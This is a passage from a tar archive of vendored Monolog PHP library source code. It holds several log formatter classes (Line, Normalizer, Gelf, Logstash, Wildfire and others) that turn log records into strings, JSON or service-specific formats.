normalization'; break; } $normalized[$key] = $this->normalize($value, $depth + 1); } return $normalized; } if ($data instanceof Throwable) { return $this->normalizeException($data, $depth); } if (is_resource($data)) { return parent::normalize($data); } return $data; } /** * Normalizes given exception with or without its own stack trace based on * `includeStacktraces` property. */ protected function normalizeException(Throwable $e, int $depth = 0): array { $data = parent::normalizeException($e, $depth); if (!$this->includeStacktraces) { unset($data['trace']); } return $data; } } ����������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/ScalarFormatter.php�����������������������������0000644�����������������00000002045�15154650146�0022431 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Formats data into an associative array of scalar values. * Objects and arrays will be JSON encoded. * * @author Andrew Lawson <adlawson@gmail.com> */ class ScalarFormatter extends NormalizerFormatter { /** * {@inheritdoc} */ public function format(array $record): array { foreach ($record as $key => $value) { $record[$key] = $this->normalizeValue($value); } return $record; } /** * @param mixed $value * @return string|int|bool|null */ protected function normalizeValue($value) { $normalized = $this->normalize($value); if (is_array($normalized)) { return $this->toJson($normalized, true); } return $normalized; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/FluentdFormatter.php����������������������������0000644�����������������00000004260�15154650146�0022626 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Utils; /** * Class FluentdFormatter * * Serializes a log message to Fluentd unix socket protocol * * Fluentd config: * * <source> * type unix * path /var/run/td-agent/td-agent.sock * </source> * * Monolog setup: * * $logger = new Monolog\Logger('fluent.tag'); * $fluentHandler = new Monolog\Handler\SocketHandler('unix:///var/run/td-agent/td-agent.sock'); * $fluentHandler->setFormatter(new Monolog\Formatter\FluentdFormatter()); * $logger->pushHandler($fluentHandler); * * @author Andrius Putna <fordnox@gmail.com> */ class FluentdFormatter implements FormatterInterface { /** * @var bool $levelTag should message level be a part of the fluentd tag */ protected $levelTag = false; public function __construct(bool $levelTag = false) { if (!function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s FluentdUnixFormatter'); } $this->levelTag = $levelTag; } public function isUsingLevelsInTag(): bool { return $this->levelTag; } public function format(array $record): string { $tag = $record['channel']; if ($this->levelTag) { $tag .= '.' . strtolower($record['level_name']); } $message = [ 'message' => $record['message'], 'context' => $record['context'], 'extra' => $record['extra'], ]; if (!$this->levelTag) { $message['level'] = $record['level']; $message['level_name'] = $record['level_name']; } return Utils::jsonEncode([$tag, $record['datetime']->getTimestamp(), $message]); } public function formatBatch(array $records): string { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/GelfMessageFormatter.php������������������������0000644�����������������00000011354�15154650146�0023411 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; use Gelf\Message; use Monolog\Utils; /** * Serializes a log message to GELF * @see http://docs.graylog.org/en/latest/pages/gelf.html * * @author Matt Lehner <mlehner@gmail.com> */ class GelfMessageFormatter extends NormalizerFormatter { protected const DEFAULT_MAX_LENGTH = 32766; /** * @var string the name of the system for the Gelf log message */ protected $systemName; /** * @var string a prefix for 'extra' fields from the Monolog record (optional) */ protected $extraPrefix; /** * @var string a prefix for 'context' fields from the Monolog record (optional) */ protected $contextPrefix; /** * @var int max length per field */ protected $maxLength; /** * Translates Monolog log levels to Graylog2 log priorities. */ private $logLevels = [ Logger::DEBUG => 7, Logger::INFO => 6, Logger::NOTICE => 5, Logger::WARNING => 4, Logger::ERROR => 3, Logger::CRITICAL => 2, Logger::ALERT => 1, Logger::EMERGENCY => 0, ]; public function __construct(?string $systemName = null, ?string $extraPrefix = null, string $contextPrefix = 'ctxt_', ?int $maxLength = null) { parent::__construct('U.u'); $this->systemName = (is_null($systemName) || $systemName === '') ? gethostname() : $systemName; $this->extraPrefix = is_null($extraPrefix) ? '' : $extraPrefix; $this->contextPrefix = $contextPrefix; $this->maxLength = is_null($maxLength) ? self::DEFAULT_MAX_LENGTH : $maxLength; } /** * {@inheritdoc} */ public function format(array $record): Message { if (isset($record['context'])) { $record['context'] = parent::format($record['context']); } if (isset($record['extra'])) { $record['extra'] = parent::format($record['extra']); } if (!isset($record['datetime'], $record['message'], $record['level'])) { throw new \InvalidArgumentException('The record should at least contain datetime, message and level keys, '.var_export($record, true).' given'); } $message = new Message(); $message ->setTimestamp($record['datetime']) ->setShortMessage((string) $record['message']) ->setHost($this->systemName) ->setLevel($this->logLevels[$record['level']]); // message length + system name length + 200 for padding / metadata $len = 200 + strlen((string) $record['message']) + strlen($this->systemName); if ($len > $this->maxLength) { $message->setShortMessage(Utils::substr($record['message'], 0, $this->maxLength)); } if (isset($record['channel'])) { $message->setFacility($record['channel']); } if (isset($record['extra']['line'])) { $message->setLine($record['extra']['line']); unset($record['extra']['line']); } if (isset($record['extra']['file'])) { $message->setFile($record['extra']['file']); unset($record['extra']['file']); } foreach ($record['extra'] as $key => $val) { $val = is_scalar($val) || null === $val ? $val : $this->toJson($val); $len = strlen($this->extraPrefix . $key . $val); if ($len > $this->maxLength) { $message->setAdditional($this->extraPrefix . $key, Utils::substr($val, 0, $this->maxLength)); continue; } $message->setAdditional($this->extraPrefix . $key, $val); } foreach ($record['context'] as $key => $val) { $val = is_scalar($val) || null === $val ? $val : $this->toJson($val); $len = strlen($this->contextPrefix . $key . $val); if ($len > $this->maxLength) { $message->setAdditional($this->contextPrefix . $key, Utils::substr($val, 0, $this->maxLength)); continue; } $message->setAdditional($this->contextPrefix . $key, $val); } /** @phpstan-ignore-next-line */ if (null === $message->getFile() && isset($record['context']['exception']['file'])) { if (preg_match("/^(.+):([0-9]+)$/", $record['context']['exception']['file'], $matches)) { $message->setFile($matches[1]); $message->setLine($matches[2]); } } return $message; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/ElasticaFormatter.php���������������������������0000644�����������������00000003626�15154650146�0022757 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Elastica\Document; /** * Format a log message into an Elastica Document * * @author Jelle Vink <jelle.vink@gmail.com> */ class ElasticaFormatter extends NormalizerFormatter { /** * @var string Elastic search index name */ protected $index; /** * @var ?string Elastic search document type */ protected $type; /** * @param string $index Elastic Search index name * @param ?string $type Elastic Search document type, deprecated as of Elastica 7 */ public function __construct(string $index, ?string $type) { // elasticsearch requires a ISO 8601 format date with optional millisecond precision. parent::__construct('Y-m-d\TH:i:s.uP'); $this->index = $index; $this->type = $type; } /** * {@inheritdoc} */ public function format(array $record) { $record = parent::format($record); return $this->getDocument($record); } public function getIndex(): string { return $this->index; } /** * @deprecated since Elastica 7 type has no effect */ public function getType(): string { return $this->type; } /** * Convert a log message into an Elastica Document * @param array $record * @return Document */ protected function getDocument(array $record): Document { $document = new Document(); $document->setData($record); if(method_exists($document, 'setType')) { $document->setType($this->type); } $document->setIndex($this->index); return $document; } } ����������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/FlowdockFormatter.php���������������������������0000644�����������������00000004617�15154650146�0023003 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * formats the record to be used in the FlowdockHandler * * @author Dominik Liebler <liebler.dominik@gmail.com> */ class FlowdockFormatter implements FormatterInterface { /** * @var string */ private $source; /** * @var string */ private $sourceEmail; public function __construct(string $source, string $sourceEmail) { $this->source = $source; $this->sourceEmail = $sourceEmail; } /** * {@inheritdoc} */ public function format(array $record): array { $tags = [ '#logs', '#' . strtolower($record['level_name']), '#' . $record['channel'], ]; foreach ($record['extra'] as $value) { $tags[] = '#' . $value; } $subject = sprintf( 'in %s: %s - %s', $this->source, $record['level_name'], $this->getShortMessage($record['message']) ); $record['flowdock'] = [ 'source' => $this->source, 'from_address' => $this->sourceEmail, 'subject' => $subject, 'content' => $record['message'], 'tags' => $tags, 'project' => $this->source, ]; return $record; } /** * {@inheritdoc} */ public function formatBatch(array $records): array { $formatted = []; foreach ($records as $record) { $formatted[] = $this->format($record); } return $formatted; } public function getShortMessage(string $message): string { static $hasMbString; if (null === $hasMbString) { $hasMbString = function_exists('mb_strlen'); } $maxLength = 45; if ($hasMbString) { if (mb_strlen($message, 'UTF-8') > $maxLength) { $message = mb_substr($message, 0, $maxLength - 4, 'UTF-8') . ' ...'; } } else { if (strlen($message) > $maxLength) { $message = substr($message, 0, $maxLength - 4) . ' ...'; } } return $message; } } �����������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/LogglyFormatter.php�����������������������������0000644�����������������00000002431�15154650146�0022460 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Encodes message information into JSON in a format compatible with Loggly. * * @author Adam Pancutt <adam@pancutt.com> */ class LogglyFormatter extends JsonFormatter { /** * Overrides the default batch mode to new lines for compatibility with the * Loggly bulk API. */ public function __construct(int $batchMode = self::BATCH_MODE_NEWLINES, bool $appendNewline = false) { parent::__construct($batchMode, $appendNewline); } /** * Appends the 'timestamp' parameter for indexing by Loggly. * * @see https://www.loggly.com/docs/automated-parsing/#json * @see \Monolog\Formatter\JsonFormatter::format() */ public function format(array $record): string { if (isset($record["datetime"]) && ($record["datetime"] instanceof \DateTimeInterface)) { $record["timestamp"] = $record["datetime"]->format("Y-m-d\TH:i:s.uO"); unset($record["datetime"]); } return parent::format($record); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/FormatterInterface.php��������������������������0000644�����������������00000001454�15154650146�0023127 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Interface for formatters * * @author Jordi Boggiano <j.boggiano@seld.be> */ interface FormatterInterface { /** * Formats a log record. * * @param array $record A record to format * @return mixed The formatted record */ public function format(array $record); /** * Formats a set of log records. * * @param array $records A set of records to format * @return mixed The formatted set of records */ public function formatBatch(array $records); } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/LogmaticFormatter.php���������������������������0000644�����������������00000002714�15154650146�0022766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Encodes message information into JSON in a format compatible with Logmatic. * * @author Julien Breux <julien.breux@gmail.com> */ class LogmaticFormatter extends JsonFormatter { protected const MARKERS = ["sourcecode", "php"]; /** * @var string */ protected $hostname = ''; /** * @var string */ protected $appname = ''; public function setHostname(string $hostname): self { $this->hostname = $hostname; return $this; } public function setAppname(string $appname): self { $this->appname = $appname; return $this; } /** * Appends the 'hostname' and 'appname' parameter for indexing by Logmatic. * * @see http://doc.logmatic.io/docs/basics-to-send-data * @see \Monolog\Formatter\JsonFormatter::format() */ public function format(array $record): string { if (!empty($this->hostname)) { $record["hostname"] = $this->hostname; } if (!empty($this->appname)) { $record["appname"] = $this->appname; } $record["@marker"] = static::MARKERS; return parent::format($record); } } ����������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php�������������������������0000644�����������������00000016603�15154650146�0023353 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\DateTimeImmutable; use Monolog\Utils; use Throwable; /** * Normalizes incoming records to remove objects/resources so it's easier to dump to various targets * * @author Jordi Boggiano <j.boggiano@seld.be> */ class NormalizerFormatter implements FormatterInterface { public const SIMPLE_DATE = "Y-m-d\TH:i:sP"; /** @var string */ protected $dateFormat; /** @var int */ protected $maxNormalizeDepth = 9; /** @var int */ protected $maxNormalizeItemCount = 1000; /** @var int */ private $jsonEncodeOptions = Utils::DEFAULT_JSON_FLAGS; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format */ public function __construct(?string $dateFormat = null) { $this->dateFormat = null === $dateFormat ? static::SIMPLE_DATE : $dateFormat; if (!function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s NormalizerFormatter'); } } /** * {@inheritdoc} */ public function format(array $record) { return $this->normalize($record); } /** * {@inheritdoc} */ public function formatBatch(array $records) { foreach ($records as $key => $record) { $records[$key] = $this->format($record); } return $records; } public function getDateFormat(): string { return $this->dateFormat; } public function setDateFormat(string $dateFormat): self { $this->dateFormat = $dateFormat; return $this; } /** * The maximum number of normalization levels to go through */ public function getMaxNormalizeDepth(): int { return $this->maxNormalizeDepth; } public function setMaxNormalizeDepth(int $maxNormalizeDepth): self { $this->maxNormalizeDepth = $maxNormalizeDepth; return $this; } /** * The maximum number of items to normalize per level */ public function getMaxNormalizeItemCount(): int { return $this->maxNormalizeItemCount; } public function setMaxNormalizeItemCount(int $maxNormalizeItemCount): self { $this->maxNormalizeItemCount = $maxNormalizeItemCount; return $this; } /** * Enables `json_encode` pretty print. */ public function setJsonPrettyPrint(bool $enable): self { if ($enable) { $this->jsonEncodeOptions |= JSON_PRETTY_PRINT; } else { $this->jsonEncodeOptions &= ~JSON_PRETTY_PRINT; } return $this; } /** * @param mixed $data * @return int|bool|string|null|array */ protected function normalize($data, int $depth = 0) { if ($depth > $this->maxNormalizeDepth) { return 'Over ' . $this->maxNormalizeDepth . ' levels deep, aborting normalization'; } if (null === $data || is_scalar($data)) { if (is_float($data)) { if (is_infinite($data)) { return ($data > 0 ? '' : '-') . 'INF'; } if (is_nan($data)) { return 'NaN'; } } return $data; } if (is_array($data)) { $normalized = []; $count = 1; foreach ($data as $key => $value) { if ($count++ > $this->maxNormalizeItemCount) { $normalized['...'] = 'Over ' . $this->maxNormalizeItemCount . ' items ('.count($data).' total), aborting normalization'; break; } $normalized[$key] = $this->normalize($value, $depth + 1); } return $normalized; } if ($data instanceof \DateTimeInterface) { return $this->formatDate($data); } if (is_object($data)) { if ($data instanceof Throwable) { return $this->normalizeException($data, $depth); } if ($data instanceof \JsonSerializable) { $value = $data->jsonSerialize(); } elseif (method_exists($data, '__toString')) { $value = $data->__toString(); } else { // the rest is normalized by json encoding and decoding it $value = json_decode($this->toJson($data, true), true); } return [Utils::getClass($data) => $value]; } if (is_resource($data)) { return sprintf('[resource(%s)]', get_resource_type($data)); } return '[unknown('.gettype($data).')]'; } /** * @return array */ protected function normalizeException(Throwable $e, int $depth = 0) { if ($e instanceof \JsonSerializable) { return (array) $e->jsonSerialize(); } $data = [ 'class' => Utils::getClass($e), 'message' => $e->getMessage(), 'code' => (int) $e->getCode(), 'file' => $e->getFile().':'.$e->getLine(), ]; if ($e instanceof \SoapFault) { if (isset($e->faultcode)) { $data['faultcode'] = $e->faultcode; } if (isset($e->faultactor)) { $data['faultactor'] = $e->faultactor; } if (isset($e->detail)) { if (is_string($e->detail)) { $data['detail'] = $e->detail; } elseif (is_object($e->detail) || is_array($e->detail)) { $data['detail'] = $this->toJson($e->detail, true); } } } $trace = $e->getTrace(); foreach ($trace as $frame) { if (isset($frame['file'])) { $data['trace'][] = $frame['file'].':'.$frame['line']; } } if ($previous = $e->getPrevious()) { $data['previous'] = $this->normalizeException($previous, $depth + 1); } return $data; } /** * Return the JSON representation of a value * * @param mixed $data * @throws \RuntimeException if encoding fails and errors are not ignored * @return string if encoding fails and ignoreErrors is true 'null' is returned */ protected function toJson($data, bool $ignoreErrors = false): string { return Utils::jsonEncode($data, $this->jsonEncodeOptions, $ignoreErrors); } protected function formatDate(\DateTimeInterface $date) { // in case the date format isn't custom then we defer to the custom DateTimeImmutable // formatting logic, which will pick the right format based on whether useMicroseconds is on if ($this->dateFormat === self::SIMPLE_DATE && $date instanceof DateTimeImmutable) { return (string) $date; } return $date->format($this->dateFormat); } public function addJsonEncodeOption(int $option) { $this->jsonEncodeOptions |= $option; } public function removeJsonEncodeOption(int $option) { $this->jsonEncodeOptions &= ~$option; } } �����������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/ChromePHPFormatter.php��������������������������0000644�����������������00000004045�15154650146�0023013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; /** * Formats a log message according to the ChromePHP array format * * @author Christophe Coevoet <stof@notk.org> */ class ChromePHPFormatter implements FormatterInterface { /** * Translates Monolog log levels to Wildfire levels. */ private $logLevels = [ Logger::DEBUG => 'log', Logger::INFO => 'info', Logger::NOTICE => 'info', Logger::WARNING => 'warn', Logger::ERROR => 'error', Logger::CRITICAL => 'error', Logger::ALERT => 'error', Logger::EMERGENCY => 'error', ]; /** * {@inheritdoc} */ public function format(array $record) { // Retrieve the line and file if set and remove them from the formatted extra $backtrace = 'unknown'; if (isset($record['extra']['file'], $record['extra']['line'])) { $backtrace = $record['extra']['file'].' : '.$record['extra']['line']; unset($record['extra']['file'], $record['extra']['line']); } $message = ['message' => $record['message']]; if ($record['context']) { $message['context'] = $record['context']; } if ($record['extra']) { $message['extra'] = $record['extra']; } if (count($message) === 1) { $message = reset($message); } return [ $record['channel'], $message, $backtrace, $this->logLevels[$record['level']], ]; } /** * {@inheritdoc} */ public function formatBatch(array $records) { $formatted = []; foreach ($records as $record) { $formatted[] = $this->format($record); } return $formatted; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/LineFormatter.php�������������������������������0000644�����������������00000013563�15154650146�0022122 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Utils; /** * Formats incoming records into a one-line string * * This is especially useful for logging to files * * @author Jordi Boggiano <j.boggiano@seld.be> * @author Christophe Coevoet <stof@notk.org> */ class LineFormatter extends NormalizerFormatter { public const SIMPLE_FORMAT = "[%datetime%] %channel%.%level_name%: %message% %context% %extra%\n"; protected $format; protected $allowInlineLineBreaks; protected $ignoreEmptyContextAndExtra; protected $includeStacktraces; /** * @param string|null $format The format of the message * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format * @param bool $allowInlineLineBreaks Whether to allow inline line breaks in log entries * @param bool $ignoreEmptyContextAndExtra */ public function __construct(?string $format = null, ?string $dateFormat = null, bool $allowInlineLineBreaks = false, bool $ignoreEmptyContextAndExtra = false) { $this->format = $format === null ? static::SIMPLE_FORMAT : $format; $this->allowInlineLineBreaks = $allowInlineLineBreaks; $this->ignoreEmptyContextAndExtra = $ignoreEmptyContextAndExtra; parent::__construct($dateFormat); } public function includeStacktraces(bool $include = true) { $this->includeStacktraces = $include; if ($this->includeStacktraces) { $this->allowInlineLineBreaks = true; } } public function allowInlineLineBreaks(bool $allow = true) { $this->allowInlineLineBreaks = $allow; } public function ignoreEmptyContextAndExtra(bool $ignore = true) { $this->ignoreEmptyContextAndExtra = $ignore; } /** * {@inheritdoc} */ public function format(array $record): string { $vars = parent::format($record); $output = $this->format; foreach ($vars['extra'] as $var => $val) { if (false !== strpos($output, '%extra.'.$var.'%')) { $output = str_replace('%extra.'.$var.'%', $this->stringify($val), $output); unset($vars['extra'][$var]); } } foreach ($vars['context'] as $var => $val) { if (false !== strpos($output, '%context.'.$var.'%')) { $output = str_replace('%context.'.$var.'%', $this->stringify($val), $output); unset($vars['context'][$var]); } } if ($this->ignoreEmptyContextAndExtra) { if (empty($vars['context'])) { unset($vars['context']); $output = str_replace('%context%', '', $output); } if (empty($vars['extra'])) { unset($vars['extra']); $output = str_replace('%extra%', '', $output); } } foreach ($vars as $var => $val) { if (false !== strpos($output, '%'.$var.'%')) { $output = str_replace('%'.$var.'%', $this->stringify($val), $output); } } // remove leftover %extra.xxx% and %context.xxx% if any if (false !== strpos($output, '%')) { $output = preg_replace('/%(?:extra|context)\..+?%/', '', $output); } return $output; } public function formatBatch(array $records): string { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } public function stringify($value): string { return $this->replaceNewlines($this->convertToString($value)); } protected function normalizeException(\Throwable $e, int $depth = 0): string { $str = $this->formatException($e); if ($previous = $e->getPrevious()) { do { $str .= "\n[previous exception] " . $this->formatException($previous); } while ($previous = $previous->getPrevious()); } return $str; } protected function convertToString($data): string { if (null === $data || is_bool($data)) { return var_export($data, true); } if (is_scalar($data)) { return (string) $data; } return $this->toJson($data, true); } protected function replaceNewlines(string $str): string { if ($this->allowInlineLineBreaks) { if (0 === strpos($str, '{')) { return str_replace(array('\r', '\n'), array("\r", "\n"), $str); } return $str; } return str_replace(["\r\n", "\r", "\n"], ' ', $str); } private function formatException(\Throwable $e): string { $str = '[object] (' . Utils::getClass($e) . '(code: ' . $e->getCode(); if ($e instanceof \SoapFault) { if (isset($e->faultcode)) { $str .= ' faultcode: ' . $e->faultcode; } if (isset($e->faultactor)) { $str .= ' faultactor: ' . $e->faultactor; } if (isset($e->detail)) { if (is_string($e->detail)) { $str .= ' detail: ' . $e->detail; } elseif (is_object($e->detail) || is_array($e->detail)) { $str .= ' detail: ' . $this->toJson($e->detail, true); } } } $str .= '): ' . $e->getMessage() . ' at ' . $e->getFile() . ':' . $e->getLine() . ')'; if ($this->includeStacktraces) { $str .= "\n[stacktrace]\n" . $e->getTraceAsString() . "\n"; } return $str; } } ���������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/WildfireFormatter.php���������������������������0000644�����������������00000007215�15154650146�0022775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; /** * Serializes a log message according to Wildfire's header requirements * * @author Eric Clemmons (@ericclemmons) <eric@uxdriven.com> * @author Christophe Coevoet <stof@notk.org> * @author Kirill chEbba Chebunin <iam@chebba.org> */ class WildfireFormatter extends NormalizerFormatter { /** * Translates Monolog log levels to Wildfire levels. */ private $logLevels = [ Logger::DEBUG => 'LOG', Logger::INFO => 'INFO', Logger::NOTICE => 'INFO', Logger::WARNING => 'WARN', Logger::ERROR => 'ERROR', Logger::CRITICAL => 'ERROR', Logger::ALERT => 'ERROR', Logger::EMERGENCY => 'ERROR', ]; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format */ public function __construct(?string $dateFormat = null) { parent::__construct($dateFormat); // http headers do not like non-ISO-8559-1 characters $this->removeJsonEncodeOption(JSON_UNESCAPED_UNICODE); } /** * {@inheritdoc} */ public function format(array $record): string { // Retrieve the line and file if set and remove them from the formatted extra $file = $line = ''; if (isset($record['extra']['file'])) { $file = $record['extra']['file']; unset($record['extra']['file']); } if (isset($record['extra']['line'])) { $line = $record['extra']['line']; unset($record['extra']['line']); } $record = $this->normalize($record); $message = ['message' => $record['message']]; $handleError = false; if ($record['context']) { $message['context'] = $record['context']; $handleError = true; } if ($record['extra']) { $message['extra'] = $record['extra']; $handleError = true; } if (count($message) === 1) { $message = reset($message); } if (isset($record['context']['table'])) { $type = 'TABLE'; $label = $record['channel'] .': '. $record['message']; $message = $record['context']['table']; } else { $type = $this->logLevels[$record['level']]; $label = $record['channel']; } // Create JSON object describing the appearance of the message in the console $json = $this->toJson([ [ 'Type' => $type, 'File' => $file, 'Line' => $line, 'Label' => $label, ], $message, ], $handleError); // The message itself is a serialization of the above JSON object + it's length return sprintf( '%d|%s|', strlen($json), $json ); } /** * {@inheritdoc} */ public function formatBatch(array $records) { throw new \BadMethodCallException('Batch formatting does not make sense for the WildfireFormatter'); } /** * {@inheritdoc} * @return int|bool|string|null|array|object */ protected function normalize($data, int $depth = 0) { if (is_object($data) && !$data instanceof \DateTimeInterface) { return $data; } return parent::normalize($data, $depth); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Formatter/LogstashFormatter.php���������������������������0000644�����������������00000006501�15154650146�0023011 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Serializes a log message to Logstash Event Format * * @see https://www.elastic.co/products/logstash * @see https://github.com/elastic/logstash/blob/master/logstash-core/src/main/java/org/logstash/Event.java * * @author Tim Mower <timothy.mower@gmail.com> */ class LogstashFormatter extends NormalizerFormatter { /** * @var string the name of the system for the Logstash log message, used to fill the @source field */ protected $systemName; /** * @var string an application name for the Logstash log message, used to fill the @type field */ protected $applicationName; /** * @var string the key for 'extra' fields from the Monolog record */ protected $extraKey; /** * @var string the key for 'context' fields from the Monolog record */ protected $contextKey; /** * @param string $applicationName The application that sends the data, used as the "type" field of logstash * @param string|null $systemName The system/machine name, used as the "source" field of logstash, defaults to the hostname of the machine * @param string $extraKey The key for extra keys inside logstash "fields", defaults to extra * @param string $contextKey The key for context keys inside logstash "fields", defaults to context */ public function __construct(string $applicationName, ?string $systemName = null, string $extraKey = 'extra', string $contextKey = 'context') { // logstash requires a ISO 8601 format date with optional millisecond precision. parent::__construct('Y-m-d\TH:i:s.uP'); $this->systemName = $systemName === null ? gethostname() : $systemName; $this->applicationName = $applicationName; $this->extraKey = $extraKey; $this->contextKey = $contextKey; } /** * {@inheritdoc} */ public function format(array $record): string { $record = parent::format($record); if (empty($record['datetime'])) { $record['datetime'] = gmdate('c'); } $message = [ '@timestamp' => $record['datetime'], '@version' => 1, 'host' => $this->systemName, ]; if (isset($record['message'])) { $message['message'] = $record['message']; } if (isset($record['channel'])) { $message['type'] = $record['channel']; $message['channel'] = $record['channel']; } if (isset($record['level_name'])) { $message['level'] = $record['level_name']; } if (isset($record['level'])) { $message['monolog_level'] = $record['level']; } if ($this->applicationName) { $message['type'] = $this->applicationName; } if (!empty($record['extra'])) { $message[$this->extraKey] = $record['extra']; } if (!empty($record['context'])) { $message[$this->contextKey] = $record['context']; } return $this->toJson($message) . "\n"; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/src/Monolog/Test/TestCase.php�����������������������������������������0000644�����������������00000003423�15154650146�0020030 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php declare(strict_types=1); /* * This file is part of the Monolog package. * * (c) Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Test; use Monolog\Logger; use 